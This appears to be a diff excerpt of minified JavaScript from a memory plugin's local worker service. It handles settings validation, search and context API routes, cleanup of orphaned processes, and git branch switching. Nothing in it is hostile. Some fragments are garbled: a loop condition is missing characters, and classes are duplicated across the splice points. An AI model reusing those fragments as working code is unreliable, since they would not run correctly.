update"),process.exit(0)},1e3),n.json(a)});validateSettings(r){if(r.CLAUDE_MEM_CONTEXT_OBSERVATIONS){let a=parseInt(r.CLAUDE_MEM_CONTEXT_OBSERVATIONS,10);if(isNaN(a)||a<1||a>200)return{valid:!1,error:"CLAUDE_MEM_CONTEXT_OBSERVATIONS must be between 1 and 200"}}if(r.CLAUDE_MEM_WORKER_PORT){let a=parseInt(r.CLAUDE_MEM_WORKER_PORT,10);if(isNaN(a)||a<1024||a>65535)return{valid:!1,error:"CLAUDE_MEM_WORKER_PORT must be between 1024 and 65535"}}if(r.CLAUDE_MEM_WORKER_HOST){let a=r.CLAUDE_MEM_WORKER_HOST;if(!/^(127\.0\.0\.1|0\.0\.0\.0|localhost|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/.test(a))return{valid:!1,error:"CLAUDE_MEM_WORKER_HOST must be a valid IP address (e.g., 127.0.0.1, 0.0.0.0)"}}if(r.CLAUDE_MEM_LOG_LEVEL&&!["DEBUG","INFO","WARN","ERROR","SILENT"].includes(r.CLAUDE_MEM_LOG_LEVEL.toUpperCase()))return{valid:!1,error:"CLAUDE_MEM_LOG_LEVEL must be one of: DEBUG, INFO, WARN, ERROR, SILENT"};if(r.CLAUDE_MEM_PYTHON_VERSION&&!/^3\.\d{1,2}$/.test(r.CLAUDE_MEM_PYTHON_VERSION))return{valid:!1,error:'CLAUDE_MEM_PYTHON_VERSION must be in format "3.X" or "3.XX" (e.g., "3.13")'};let n=["CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT","CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY","CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE"];for(let a of n)if(r[a]&&!["true","false"].includes(r[a]))return{valid:!1,error:`${a} must be "true" or "false"`};if(r.CLAUDE_MEM_CONTEXT_FULL_COUNT){let a=parseInt(r.CLAUDE_MEM_CONTEXT_FULL_COUNT,10);if(isNaN(a)||a<0||a>20)return{valid:!1,error:"CLAUDE_MEM_CONTEXT_FULL_COUNT must be between 0 and 20"}}if(r.CLAUDE_MEM_CONTEXT_SESSION_COUNT){let a=parseInt(r.CLAUDE_MEM_CONTEXT_SESSION_COUNT,10);if(isNaN(a)||a<1||a>50)return{valid:!1,error:"CLAUDE_MEM_CONTEXT_SESSION_COUNT must be between 1 and 50"}}if(r.CLAUDE_MEM_CONTEXT_FULL_FIELD&&!["narrative","facts"].includes(r.CLAUDE_MEM_CONTEXT_FULL_FIELD))return{valid:!1,error:'CLAUDE_MEM_CONTEXT_FULL_FIELD must be "narrative" or "facts"'};if(r.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES){let a=r.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(",").map(s=>s.trim());for(let s of a)if(s&&!Is.includes(s))return{valid:!1,error:`Invalid observation type: ${s}. Valid types: ${Is.join(", ")}`}}if(r.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS){let a=r.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(",").map(s=>s.trim());for(let s of a)if(s&&!As.includes(s))return{valid:!1,error:`Invalid observation concept: ${s}. Valid concepts: ${As.join(", ")}`}}return{valid:!0}}isMcpEnabled(){let r=da(),n=qn.default.join(r,"plugin",".mcp.json");return(0,qt.existsSync)(n)}toggleMcp(r){try{let n=da(),a=qn.default.join(n,"plugin",".mcp.json"),s=qn.default.join(n,"plugin",".mcp.json.disabled");r&&(0,qt.existsSync)(s)?((0,qt.renameSync)(s,a),F.info("WORKER","MCP search server enabled")):!r&&(0,qt.existsSync)(a)?((0,qt.renameSync)(a,s),F.info("WORKER","MCP search server disabled")):F.debug("WORKER","MCP toggle no-op (already in desired state)",{enabled:r})}catch(n){throw F.failure("WORKER","Failed to toggle MCP",{enabled:r},n),n}}ensureSettingsFile(r){if(!(0,qt.existsSync)(r)){let n=ft.getAllDefaults(),a=qn.default.dirname(r);(0,qt.existsSync)(a)||(0,qt.mkdirSync)(a,{recursive:!0}),(0,qt.writeFileSync)(r,JSON.stringify(n,null,2),"utf-8"),F.info("SETTINGS","Created settings file with defaults",{settingsPath:r})}}};var Mo=(0,aR.promisify)(zl.exec),Fl=class{app;server=null;startTime=Date.now();mcpClient;mcpReady=!1;initializationCompleteFlag=!1;dbManager;sessionManager;sseBroadcaster;sdkAgent;paginationHelper;settingsManager;sessionEventBroadcaster;viewerRoutes;sessionRoutes;dataRoutes;searchRoutes;settingsRoutes;initializationComplete;resolveInitialization;constructor(){this.app=(0,rR.default)(),this.initializationComplete=new Promise(e=>{this.resolveInitialization=e}),this.dbManager=new Nu,this.sessionManager=new Mu(this.dbManager),this.sseBroadcaster=new Du,this.sdkAgent=new _l(this.dbManager,this.sessionManager),this.paginationHelper=new bl(this.dbManager),this.settingsManager=new xl(this.dbManager),this.sessionEventBroadcaster=new kl(this.sseBroadcaster,this),this.sessionManager.setOnSessionDeleted(()=>{this.broadcastProcessingStatus()}),this.mcpClient=new $s({name:"worker-search-proxy",version:"1.0.0"},{capabilities:{}}),this.viewerRoutes=new Rl(this.sseBroadcaster,this.dbManager,this.sessionManager),this.sessionRoutes=new Ol(this.sessionManager,this.dbManager,this.sdkAgent,this.sessionEventBroadcaster,this),this.dataRoutes=new Cl(this.paginationHelper,this.dbManager,this.sessionManager,this.sseBroadcaster,this,this.startTime),this.searchRoutes=null,this.settingsRoutes=new Ll(this.settingsManager),this.setupMiddleware(),this.setupRoutes()}setupMiddleware(){Uk(this.summarizeRequestBody.bind(this)).forEach(r=>this.app.use(r))}setupRoutes(){let e="TEST-008-wrapper-ipc";this.app.get("/api/health",(r,n)=>{n.status(200).json({status:"ok",build:e,managed:process.env.CLAUDE_MEM_MANAGED==="true",hasIpc:typeof process.send=="function",platform:process.platform,pid:process.pid,initialized:this.initializationCompleteFlag,mcpReady:this.mcpReady})}),this.app.get("/api/readiness",(r,n)=>{this.initializationCompleteFlag?n.status(200).json({status:"ready",mcpReady:this.mcpReady}):n.status(503).json({status:"initializing",message:"Worker is still initializing, please retry"})}),this.app.get("/api/version",(r,n)=>{let{homedir:a}=require("os"),{readFileSync:s}=require("fs"),i=li.default.join(a(),".claude","plugins","marketplaces","thedotmack"),o=li.default.join(i,"package.json");try{let c=JSON.parse(s(o,"utf-8"));n.status(200).json({version:c.version})}catch(c){F.error("SYSTEM","Failed to read version",{packagePath:o},c),n.status(500).json({error:"Failed to read version",path:o})}}),this.app.get("/api/instructions",async(r,n)=>{let a=r.query.topic||"all",s=r.query.operation;try{let i;if(s){let o=li.default.join(__dirname,"../skills/mem-search/operations",`${s}.md`);i=await Ym.promises.readFile(o,"utf-8")}else{let o=li.default.join(__dirname,"../skills/mem-search/SKILL.md"),c=await Ym.promises.readFile(o,"utf-8");i=this.extractInstructionSection(c,a)}n.json({content:[{type:"text",text:i}]})}catch(i){F.error("WORKER","Failed to load instructions",{topic:a,operation:s},i),n.status(500).json({content:[{type:"text",text:`Error loading instructions: ${i instanceof Error?i.message:"Unknown error"}`}],isError:!0})}}),this.app.post("/api/admin/restart",Bm,async(r,n)=>{n.json({status:"restarting"}),process.platform==="win32"&&process.env.CLAUDE_MEM_MANAGED==="true"&&process.send?(F.info("SYSTEM","Sending restart request to wrapper"),process.send({type:"restart"})):setTimeout(async()=>{await this.shutdown(),process.exit(0)},100)}),this.app.post("/api/admin/shutdown",Bm,async(r,n)=>{n.json({status:"shutting_down"}),process.platform==="win32"&&process.env.CLAUDE_MEM_MANAGED==="true"&&process.send?(F.info("SYSTEM","Sending shutdown request to wrapper"),process.send({type:"shutdown"})):setTimeout(async()=>{await this.shutdown(),process.exit(0)},100)}),this.viewerRoutes.setupRoutes(this.app),this.sessionRoutes.setupRoutes(this.app),this.dataRoutes.setupRoutes(this.app),this.settingsRoutes.setupRoutes(this.app),this.app.get("/api/context/inject",async(r,n,a)=>{try{let i=new Promise((f,m)=>setTimeout(()=>m(new Error("Initialization timeout")),3e4));if(await Promise.race([this.initializationComplete,i]),!this.searchRoutes){n.status(503).json({error:"Search routes not initialized"});return}let o=r.query.project,c=r.query.colors==="true";if(!o){n.status(400).json({error:"Project parameter is required"});return}let{generateContext:u}=await Promise.resolve().then(()=>(Ml(),jl)),l=`/context/${o}`,d=await u({session_id:"context-inject-"+Date.now(),cwd:l},c);n.setHeader("Content-Type","text/plain; charset=utf-8"),n.send(d)}catch(s){F.error("WORKER","Context inject handler failed",{},s),n.status(500).json({error:s instanceof Error?s.message:"Internal server error"})}})}async cleanupOrphanedProcesses(){try{let e=process.platform==="win32",r=[];if(e){let n=`powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.Name -like '*python*' -and $_.CommandLine -like '*chroma-mcp*' } | Select-Object -ExpandProperty ProcessId"`,{stdout:a}=await Mo(n,{timeout:5e3});if(!a.trim()){F.debug("SYSTEM","No orphaned chroma-mcp processes found (Windows)");return}let s=a.trim().split(` -`);for(let i of s){let o=parseInt(i.trim(),10);!isNaN(o)&&Number.isInteger(o)&&o>0&&r.push(o)}}else{let{stdout:n}=await Mo('ps aux | grep "chroma-mcp" | grep -v grep || true');if(!n.trim()){F.debug("SYSTEM","No orphaned chroma-mcp processes found (Unix)");return}let a=n.trim().split(` -`);for(let s of a){let i=s.trim().split(/\s+/);if(i.length>1){let o=parseInt(i[1],10);!isNaN(o)&&Number.isInteger(o)&&o>0&&r.push(o)}}}if(r.length===0)return;if(F.info("SYSTEM","Cleaning up orphaned chroma-mcp processes",{platform:e?"Windows":"Unix",count:r.length,pids:r}),e)for(let n of r){if(!Number.isInteger(n)||n<=0){F.warn("SYSTEM","Skipping invalid PID",{pid:n});continue}try{(0,zl.execSync)(`taskkill /PID ${n} /T /F`,{timeout:5e3,stdio:"ignore"})}catch(a){F.warn("SYSTEM","Failed to kill orphaned process",{pid:n},a)}}else await Mo(`kill ${r.join(" ")}`);F.info("SYSTEM","Orphaned processes cleaned up",{count:r.length})}catch(e){F.warn("SYSTEM","Failed to cleanup orphaned processes",{},e)}}async start(){let e=Ms(),r=HE();this.server=await new Promise((n,a)=>{let s=this.app.listen(e,r,()=>n(s));s.on("error",a)}),F.info("SYSTEM","Worker started",{host:r,port:e,pid:process.pid}),this.initializeBackground().catch(n=>{F.error("SYSTEM","Background initialization failed",{},n)})}async initializeBackground(){try{await this.cleanupOrphanedProcesses(),await this.dbManager.initialize();let e=new El,r=new Tl,n=new Sl(this.dbManager.getSessionSearch(),this.dbManager.getSessionStore(),this.dbManager.getChromaSync(),e,r);this.searchRoutes=new Dl(n),this.searchRoutes.setupRoutes(this.app),F.info("WORKER","SearchManager initialized and search routes registered");let a=li.default.join(__dirname,"mcp-server.cjs"),s=new Cs({command:"node",args:[a],env:process.env}),i=15e3,o=this.mcpClient.connect(s),c=new Promise((u,l)=>setTimeout(()=>l(new Error("MCP connection timeout after 15s")),i));await Promise.race([o,c]),this.mcpReady=!0,F.success("WORKER","Connected to MCP server"),this.initializationCompleteFlag=!0,this.resolveInitialization(),F.info("SYSTEM","Background initialization complete")}catch(e){throw F.error("SYSTEM","Background initialization failed",{},e),e}}extractInstructionSection(e,r){let n={workflow:this.extractBetween(e,"## The Workflow","## Search Parameters"),search_params:this.extractBetween(e,"## Search Parameters","## Examples"),examples:this.extractBetween(e,"## Examples","## Why This Workflow"),all:e};return n[r]||n.all}extractBetween(e,r,n){let a=e.indexOf(r),s=e.indexOf(n);return a===-1?e:s===-1?e.substring(a):e.substring(a,s).trim()}async shutdown(){F.info("SYSTEM","Shutdown initiated");let e=await this.getChildProcesses(process.pid);if(F.info("SYSTEM","Found child processes",{count:e.length,pids:e}),this.server&&(this.server.closeAllConnections(),await new Promise((r,n)=>{this.server.close(a=>a?n(a):r())}),this.server=null,F.info("SYSTEM","HTTP server closed")),await this.sessionManager.shutdownAll(),this.mcpClient)try{await this.mcpClient.close(),F.info("SYSTEM","MCP client closed")}catch(r){F.error("SYSTEM","Failed to close MCP client",{},r)}if(await this.dbManager.close(),e.length>0){F.info("SYSTEM","Force killing remaining children");for(let r of e)await this.forceKillProcess(r);await this.waitForProcessesExit(e,5e3)}F.info("SYSTEM","Worker shutdown complete")}async getChildProcesses(e){if(process.platform!=="win32")return[];if(!Number.isInteger(e)||e<=0)return F.warn("SYSTEM","Invalid parent PID for child process enumeration",{parentPid:e}),[];try{let r=`powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq ${e} } | Select-Object -ExpandProperty ProcessId"`,{stdout:n}=await Mo(r,{timeout:5e3});return n.trim().split(` -`).map(a=>parseInt(a.trim(),10)).filter(a=>!isNaN(a)&&Number.isInteger(a)&&a>0)}catch(r){return F.warn("SYSTEM","Failed to enumerate child processes",{},r),[]}}async forceKillProcess(e){if(!Number.isInteger(e)||e<=0){F.warn("SYSTEM","Invalid PID for force kill",{pid:e});return}try{process.platform==="win32"?(await Mo(`taskkill /PID ${e} /T /F`,{timeout:5e3}),F.info("SYSTEM","Killed process",{pid:e})):process.kill(e,"SIGKILL")}catch{F.debug("SYSTEM","Process already dead or kill failed",{pid:e})}}async waitForProcessesExit(e,r){let n=Date.now();for(;Date.now()-n{try{return process.kill(s,0),!0}catch{return!1}});if(a.length===0){F.info("SYSTEM","All child processes exited");return}F.debug("SYSTEM","Waiting for processes to exit",{stillAlive:a}),await new Promise(s=>setTimeout(s,100))}F.warn("SYSTEM","Timeout waiting for child processes to exit")}summarizeRequestBody(e,r,n){return Hk(e,r,n)}broadcastProcessingStatus(){let e=this.sessionManager.isAnySessionProcessing(),r=this.sessionManager.getTotalActiveWork(),n=this.sessionManager.getActiveSessionCount();F.info("WORKER","Broadcasting processing status",{isProcessing:e,queueDepth:r,activeSessions:n}),this.sseBroadcaster.broadcast({type:"processing_status",isProcessing:e,queueDepth:r})}};if(require.main===module||!module.parent){let t=new Fl;process.on("SIGTERM",async()=>{F.info("SYSTEM","Received SIGTERM, shutting down gracefully"),await t.shutdown(),process.exit(0)}),process.on("SIGINT",async()=>{F.info("SYSTEM","Received SIGINT, shutting down gracefully"),await t.shutdown(),process.exit(0)}),t.start().catch(e=>{F.failure("SYSTEM","Worker failed to start",{},e),process.exit(1)})}0&&(module.exports={WorkerService}); + `).all().map(o=>o.project);n.json({projects:i})});handleGetProcessingStatus=this.wrapHandler((r,n)=>{let a=this.sessionManager.isAnySessionProcessing(),s=this.sessionManager.getTotalActiveWork();n.json({isProcessing:a,queueDepth:s})});handleSetProcessing=this.wrapHandler((r,n)=>{this.workerService.broadcastProcessingStatus();let a=this.sessionManager.isAnySessionProcessing(),s=this.sessionManager.getTotalQueueDepth(),i=this.sessionManager.getActiveSessionCount();n.json({status:"ok",isProcessing:a,queueDepth:s,activeSessions:i})});parsePaginationParams(r){let n=parseInt(r.query.offset,10)||0,a=Math.min(parseInt(r.query.limit,10)||20,100),s=r.query.project;return{offset:n,limit:a,project:s}}handleImport=this.wrapHandler((r,n)=>{let{sessions:a,summaries:s,observations:i,prompts:o}=r.body,c={sessionsImported:0,sessionsSkipped:0,summariesImported:0,summariesSkipped:0,observationsImported:0,observationsSkipped:0,promptsImported:0,promptsSkipped:0},u=this.dbManager.getSessionStore();if(Array.isArray(a))for(let l of a)u.importSdkSession(l).imported?c.sessionsImported++:c.sessionsSkipped++;if(Array.isArray(s))for(let l of s)u.importSessionSummary(l).imported?c.summariesImported++:c.summariesSkipped++;if(Array.isArray(i))for(let l of i)u.importObservation(l).imported?c.observationsImported++:c.observationsSkipped++;if(Array.isArray(o))for(let l of o)u.importUserPrompt(l).imported?c.promptsImported++:c.promptsSkipped++;n.json({success:!0,stats:c})})};var Fl=class extends Or{constructor(r){super();this.searchManager=r}setupRoutes(r){r.get("/api/search",this.handleUnifiedSearch.bind(this)),r.get("/api/timeline",this.handleUnifiedTimeline.bind(this)),r.get("/api/decisions",this.handleDecisions.bind(this)),r.get("/api/changes",this.handleChanges.bind(this)),r.get("/api/how-it-works",this.handleHowItWorks.bind(this)),r.get("/api/search/observations",this.handleSearchObservations.bind(this)),r.get("/api/search/sessions",this.handleSearchSessions.bind(this)),r.get("/api/search/prompts",this.handleSearchPrompts.bind(this)),r.get("/api/search/by-concept",this.handleSearchByConcept.bind(this)),r.get("/api/search/by-file",this.handleSearchByFile.bind(this)),r.get("/api/search/by-type",this.handleSearchByType.bind(this)),r.get("/api/context/recent",this.handleGetRecentContext.bind(this)),r.get("/api/context/timeline",this.handleGetContextTimeline.bind(this)),r.get("/api/context/preview",this.handleContextPreview.bind(this)),r.get("/api/context/inject",this.handleContextInject.bind(this)),r.get("/api/timeline/by-query",this.handleGetTimelineByQuery.bind(this)),r.get("/api/search/help",this.handleSearchHelp.bind(this))}handleUnifiedSearch=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.search(r.query);n.json(a)});handleUnifiedTimeline=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.timeline(r.query);n.json(a)});handleDecisions=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.decisions(r.query);n.json(a)});handleChanges=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.changes(r.query);n.json(a)});handleHowItWorks=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.howItWorks(r.query);n.json(a)});handleSearchObservations=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.searchObservations(r.query);n.json(a)});handleSearchSessions=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.searchSessions(r.query);n.json(a)});handleSearchPrompts=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.searchUserPrompts(r.query);n.json(a)});handleSearchByConcept=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.findByConcept(r.query);n.json(a)});handleSearchByFile=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.findByFile(r.query);n.json(a)});handleSearchByType=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.findByType(r.query);n.json(a)});handleGetRecentContext=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.getRecentContext(r.query);n.json(a)});handleGetContextTimeline=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.getContextTimeline(r.query);n.json(a)});handleContextPreview=this.wrapHandler(async(r,n)=>{let a=r.query.project;if(!a){this.badRequest(n,"Project parameter is required");return}let{generateContext:s}=await Promise.resolve().then(()=>(Ll(),ql)),i=`/preview/${a}`,o=await s({session_id:"preview-"+Date.now(),cwd:i},!0);n.setHeader("Content-Type","text/plain; charset=utf-8"),n.send(o)});handleContextInject=this.wrapHandler(async(r,n)=>{let a=r.query.project,s=r.query.colors==="true";if(!a){this.badRequest(n,"Project parameter is required");return}let{generateContext:i}=await Promise.resolve().then(()=>(Ll(),ql)),o=`/context/${a}`,c=await i({session_id:"context-inject-"+Date.now(),cwd:o},s);n.setHeader("Content-Type","text/plain; charset=utf-8"),n.send(c)});handleGetTimelineByQuery=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.getTimelineByQuery(r.query);n.json(a)});handleSearchHelp=this.wrapHandler((r,n)=>{n.json({title:"Claude-Mem Search API",description:"HTTP API for searching persistent memory",endpoints:[{path:"/api/search/observations",method:"GET",description:"Search observations using full-text search",parameters:{query:"Search query (required)",limit:"Number of results (default: 20)",project:"Filter by project name (optional)"}},{path:"/api/search/sessions",method:"GET",description:"Search session summaries using full-text search",parameters:{query:"Search query (required)",limit:"Number of results (default: 20)"}},{path:"/api/search/prompts",method:"GET",description:"Search user prompts using full-text search",parameters:{query:"Search query (required)",limit:"Number of results (default: 20)",project:"Filter by project name (optional)"}},{path:"/api/search/by-concept",method:"GET",description:"Find observations by concept tag",parameters:{concept:"Concept tag (required): discovery, decision, bugfix, feature, refactor",limit:"Number of results (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/search/by-file",method:"GET",description:"Find observations and sessions by file path",parameters:{filePath:"File path or partial path (required)",limit:"Number of results per type (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/search/by-type",method:"GET",description:"Find observations by type",parameters:{type:"Observation type (required): discovery, decision, bugfix, feature, refactor",limit:"Number of results (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/context/recent",method:"GET",description:"Get recent session context including summaries and observations",parameters:{project:"Project name (default: current directory)",limit:"Number of recent sessions (default: 3)"}},{path:"/api/context/timeline",method:"GET",description:"Get unified timeline around a specific point in time",parameters:{anchor:'Anchor point: observation ID, session ID (e.g., "S123"), or ISO timestamp (required)',depth_before:"Number of records before anchor (default: 10)",depth_after:"Number of records after anchor (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/timeline/by-query",method:"GET",description:"Search for best match, then get timeline around it",parameters:{query:"Search query (required)",mode:'Search mode: "auto", "observations", or "sessions" (default: "auto")',depth_before:"Number of records before match (default: 10)",depth_after:"Number of records after match (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/search/help",method:"GET",description:"Get this help documentation"}],examples:['curl "http://localhost:37777/api/search/observations?query=authentication&limit=5"','curl "http://localhost:37777/api/search/by-type?type=bugfix&limit=10"','curl "http://localhost:37777/api/context/recent?project=claude-mem&limit=3"','curl "http://localhost:37777/api/context/timeline?anchor=123&depth_before=5&depth_after=5"']})})};var Un=kt(require("path"),1),zt=require("fs"),Ym=require("os");dr();mt();var Xm=require("child_process"),zn=require("fs"),u$=require("os"),Do=require("path");mt();var qo=(0,Do.join)((0,u$.homedir)(),".claude","plugins","marketplaces","thedotmack");function Km(t){return!t||typeof t!="string"?!1:/^[a-zA-Z0-9][a-zA-Z0-9._/-]*$/.test(t)&&!t.includes("..")}var q7=3e4,Jm=12e4;function Cr(t){let e=(0,Xm.spawnSync)("git",t,{cwd:qo,encoding:"utf-8",timeout:q7,windowsHide:!0,shell:!1});if(e.error)throw e.error;if(e.status!==0)throw new Error(e.stderr||e.stdout||"Git command failed");return e.stdout.trim()}function l$(t,e=Jm){let n=process.platform==="win32"?"npm.cmd":"npm",a=(0,Xm.spawnSync)(n,t,{cwd:qo,encoding:"utf-8",timeout:e,windowsHide:!0,shell:!1});if(a.error)throw a.error;if(a.status!==0)throw new Error(a.stderr||a.stdout||"npm command failed");return a.stdout.trim()}function zl(){let t=(0,Do.join)(qo,".git");if(!(0,zn.existsSync)(t))return{branch:null,isBeta:!1,isGitRepo:!1,isDirty:!1,canSwitch:!1,error:"Installed plugin is not a git repository"};try{let e=Cr(["rev-parse","--abbrev-ref","HEAD"]),n=Cr(["status","--porcelain"]).length>0,a=e.startsWith("beta");return{branch:e,isBeta:a,isGitRepo:!0,isDirty:n,canSwitch:!0}}catch(e){return U.error("BRANCH","Failed to get branch info",{},e),{branch:null,isBeta:!1,isGitRepo:!0,isDirty:!1,canSwitch:!1,error:e.message}}}async function d$(t){if(!Km(t))return{success:!1,error:`Invalid branch name: ${t}. Branch names must be alphanumeric with hyphens, underscores, slashes, or dots.`};let e=zl();if(!e.isGitRepo)return{success:!1,error:"Installed plugin is not a git repository. Please reinstall."};if(e.branch===t)return{success:!0,branch:t,message:`Already on branch ${t}`};try{U.info("BRANCH","Starting branch switch",{from:e.branch,to:t}),U.debug("BRANCH","Discarding local changes"),Cr(["checkout","--","."]),Cr(["clean","-fd"]),U.debug("BRANCH","Fetching from origin"),Cr(["fetch","origin"]),U.debug("BRANCH","Checking out branch",{branch:t});try{Cr(["checkout",t])}catch{Cr(["checkout","-b",t,`origin/${t}`])}U.debug("BRANCH","Pulling latest"),Cr(["pull","origin",t]);let r=(0,Do.join)(qo,".install-version");return(0,zn.existsSync)(r)&&(0,zn.unlinkSync)(r),U.debug("BRANCH","Running npm install"),l$(["install"],Jm),U.success("BRANCH","Branch switch complete",{branch:t}),{success:!0,branch:t,message:`Switched to ${t}. Worker will restart automatically.`}}catch(r){U.error("BRANCH","Branch switch failed",{targetBranch:t},r);try{e.branch&&Km(e.branch)&&Cr(["checkout",e.branch])}catch{}return{success:!1,error:`Branch switch failed: ${r.message}`}}}async function p$(){let t=zl();if(!t.isGitRepo||!t.branch)return{success:!1,error:"Cannot pull updates: not a git repository"};try{if(!Km(t.branch))return{success:!1,error:`Invalid current branch name: ${t.branch}`};U.info("BRANCH","Pulling updates",{branch:t.branch}),Cr(["checkout","--","."]),Cr(["fetch","origin"]),Cr(["pull","origin",t.branch]);let e=(0,Do.join)(qo,".install-version");return(0,zn.existsSync)(e)&&(0,zn.unlinkSync)(e),l$(["install"],Jm),U.success("BRANCH","Updates pulled",{branch:t.branch}),{success:!0,branch:t.branch,message:`Updated ${t.branch}. Worker will restart automatically.`}}catch(e){return U.error("BRANCH","Pull failed",{},e),{success:!1,error:`Pull failed: ${e.message}`}}}Dr();var Ul=class extends Or{constructor(r){super();this.settingsManager=r}setupRoutes(r){r.get("/api/settings",this.handleGetSettings.bind(this)),r.post("/api/settings",this.handleUpdateSettings.bind(this)),r.get("/api/mcp/status",this.handleGetMcpStatus.bind(this)),r.post("/api/mcp/toggle",this.handleToggleMcp.bind(this)),r.get("/api/branch/status",this.handleGetBranchStatus.bind(this)),r.post("/api/branch/switch",this.handleSwitchBranch.bind(this)),r.post("/api/branch/update",this.handleUpdateBranch.bind(this))}handleGetSettings=this.wrapHandler((r,n)=>{let a=Un.default.join((0,Ym.homedir)(),".claude-mem","settings.json");this.ensureSettingsFile(a);let s=ct.loadFromFile(a);n.json(s)});handleUpdateSettings=this.wrapHandler((r,n)=>{let a=this.validateSettings(r.body);if(!a.valid){n.status(400).json({success:!1,error:a.error});return}let s=Un.default.join((0,Ym.homedir)(),".claude-mem","settings.json");this.ensureSettingsFile(s);let i={};if((0,zt.existsSync)(s)){let c=(0,zt.readFileSync)(s,"utf-8");i=JSON.parse(c)}let o=["CLAUDE_MEM_MODEL","CLAUDE_MEM_CONTEXT_OBSERVATIONS","CLAUDE_MEM_WORKER_PORT","CLAUDE_MEM_WORKER_HOST","CLAUDE_MEM_DATA_DIR","CLAUDE_MEM_LOG_LEVEL","CLAUDE_MEM_PYTHON_VERSION","CLAUDE_CODE_PATH","CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT","CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES","CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS","CLAUDE_MEM_CONTEXT_FULL_COUNT","CLAUDE_MEM_CONTEXT_FULL_FIELD","CLAUDE_MEM_CONTEXT_SESSION_COUNT","CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY","CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE"];for(let c of o)r.body[c]!==void 0&&(i[c]=r.body[c]);(0,zt.writeFileSync)(s,JSON.stringify(i,null,2),"utf-8"),QE(),U.info("WORKER","Settings updated"),n.json({success:!0,message:"Settings updated successfully"})});handleGetMcpStatus=this.wrapHandler((r,n)=>{let a=this.isMcpEnabled();n.json({enabled:a})});handleToggleMcp=this.wrapHandler((r,n)=>{let{enabled:a}=r.body;if(typeof a!="boolean"){this.badRequest(n,"enabled must be a boolean");return}this.toggleMcp(a),n.json({success:!0,enabled:this.isMcpEnabled()})});handleGetBranchStatus=this.wrapHandler((r,n)=>{let a=zl();n.json(a)});handleSwitchBranch=this.wrapHandler(async(r,n)=>{let{branch:a}=r.body;if(!a){n.status(400).json({success:!1,error:"Missing branch parameter"});return}let s=["main","beta/7.0","feature/bun-executable"];if(!s.includes(a)){n.status(400).json({success:!1,error:`Invalid branch. Allowed: ${s.join(", ")}`});return}U.info("WORKER","Branch switch requested",{branch:a});let i=await d$(a);i.success&&setTimeout(()=>{U.info("WORKER","Restarting worker after branch switch"),process.exit(0)},1e3),n.json(i)});handleUpdateBranch=this.wrapHandler(async(r,n)=>{U.info("WORKER","Branch update requested");let a=await p$();a.success&&setTimeout(()=>{U.info("WORKER","Restarting worker after branch update"),process.exit(0)},1e3),n.json(a)});validateSettings(r){if(r.CLAUDE_MEM_CONTEXT_OBSERVATIONS){let a=parseInt(r.CLAUDE_MEM_CONTEXT_OBSERVATIONS,10);if(isNaN(a)||a<1||a>200)return{valid:!1,error:"CLAUDE_MEM_CONTEXT_OBSERVATIONS must be between 1 and 200"}}if(r.CLAUDE_MEM_WORKER_PORT){let a=parseInt(r.CLAUDE_MEM_WORKER_PORT,10);if(isNaN(a)||a<1024||a>65535)return{valid:!1,error:"CLAUDE_MEM_WORKER_PORT must be between 1024 and 65535"}}if(r.CLAUDE_MEM_WORKER_HOST){let a=r.CLAUDE_MEM_WORKER_HOST;if(!/^(127\.0\.0\.1|0\.0\.0\.0|localhost|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/.test(a))return{valid:!1,error:"CLAUDE_MEM_WORKER_HOST must be a valid IP address (e.g., 127.0.0.1, 0.0.0.0)"}}if(r.CLAUDE_MEM_LOG_LEVEL&&!["DEBUG","INFO","WARN","ERROR","SILENT"].includes(r.CLAUDE_MEM_LOG_LEVEL.toUpperCase()))return{valid:!1,error:"CLAUDE_MEM_LOG_LEVEL must be one of: DEBUG, INFO, WARN, ERROR, SILENT"};if(r.CLAUDE_MEM_PYTHON_VERSION&&!/^3\.\d{1,2}$/.test(r.CLAUDE_MEM_PYTHON_VERSION))return{valid:!1,error:'CLAUDE_MEM_PYTHON_VERSION must be in format "3.X" or "3.XX" (e.g., "3.13")'};let 